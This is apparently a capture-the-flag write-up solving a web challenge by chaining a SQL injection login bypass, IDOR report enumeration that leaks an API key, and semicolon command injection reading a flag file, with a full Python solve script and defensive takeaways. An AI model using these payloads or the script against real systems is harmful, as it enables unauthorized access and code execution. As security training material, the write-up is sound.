weather.control.deadrop
Challenge Description
The weather control array is online. 23 nodes active. You don't have credentials. Figure it out.
Three stages. Each one hands you what you need for the next.
Stage 1: SQL Injection Login Bypass
/weather/login
Not much in the way of hints here, let's start with the classic SQLi in case the backend is checking login with:
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
Payload:
username: ' OR 1=1--
password: anything
The resulting query becomes:
SELECT * FROM users WHERE username='' OR 1=1--' AND password='anything'
OR 1=1 returns all rows, -- comments out the rest. fetchone() returns the first user, which is often admin (id=1, inserted first). Session set, redirected to dashboard.
Stage 2: IDOR on Forecast Reports
The dashboard shows the admin's own reports. The report URLs are sequential integers: /weather/report/1, /weather/report/2, etc.
The dashboard notice says:
"Reports are indexed sequentially across all operators."
And the report page has a NEXT REPORT → button incrementing the ID. The backend does no ownership check, any authenticated session can read any report by ID.
Enumerate /weather/report/1 through /weather/report/7. Report #7 is Array Master Configuration - RESTRICTED, owned by admin, and its OPERATIONAL NOTES section contains:
API key rotated after DR-2015-0814 incident per security protocol.
New key for ops queries: WX-4R3A-D3AD-R0P5
Usage: /weather/query?location=<city>&key=WX-4R3A-D3AD-R0P5
Do not share outside Weather Control Array division.
API key acquired: WX-4R3A-D3AD-R0P5.
Stage 3: Command Injection → RCE
/weather/query, view source:
<!-- cmd template: weather_fetch --location {location} --key {key} -->
Normal query:
/weather/query?location=Seattle&key=WX-4R3A-D3AD-R0P5
Returns simulated weather data.
Injection: semicolon terminates the first command, second runs as root:
/weather/query?location=Seattle;cat /app/flag.txt&key=WX-4R3A-D3AD-R0P5
The shell expands this to:
echo '[WX-API] Fetching forecast for: Seattle' && echo '...' # key=...
cat /app/flag.txt
Output panel shows the flag file contents.
Full Solve
import requests, re
BASE = "https://deadrop.two-shoes.org/weather"
s = requests.Session()
# Stage 1: SQLi bypass
r = s.post(f"{BASE}/login", data={"username": "' OR 1=1--", "password": "x"})
assert "OPERATOR DASHBOARD" in r.text
print("Stage 1: logged in as admin")
# Stage 2: IDOR: enumerate reports until API key found
api_key = None
for i in range(1, 15):
r = s.get(f"{BASE}/report/{i}")
m = re.search(r'WX-[\w-]+', r.text)
if m:
api_key = m.group()
print(f"Stage 2: API key from report #{i}: {api_key}")
break
# Stage 3: Command injection
r = s.get(f"{BASE}/query", params={
"location": "Seattle;cat /app/flag.txt",
"key": api_key
})
flag = re.search(r"DEADROP\{[^}]+\}", r.text)
print(f"Stage 3: {flag.group()}")
Key Takeaways
1. Chains are everywhere. Each individual bug here is relatively simple, SQLi, IDOR, command injection. None is exotic. What makes this hard is recognizing that the output of one stage is the input to the next. The API key only matters once you have auth, auth only matters once you know the key exists.
2. SQLi with fetchone() returns the first row. A common mistake is assuming OR 1=1 returns "all users" and therefore fails. fetchone() picks the first row, if admin is inserted first (lowest id), they're always the bypass target. Use parameterized queries, always.
3. IDOR is about trust, not authentication. The user was authenticated. The server correctly verified identity. It just didn't verify authorization, whether this identity should access this resource. Authentication and authorization are different checks. Both are required.
4. shell=True is almost always wrong. subprocess.run(cmd, shell=True) passes the string to /bin/sh -c. Any shell metacharacter the user controls - ;, |, $(), ` becomes code execution. Use shell=False with a list of arguments, or sanitize with shlex.quote() at minimum.
5. Source comments are a vulnerability. The SQL schema hint comment was in the HTML source. In production, no implementation details belong in client-visible HTML.
Flag
DEADROP{weather_control_is_real_and_you_just_proved_it}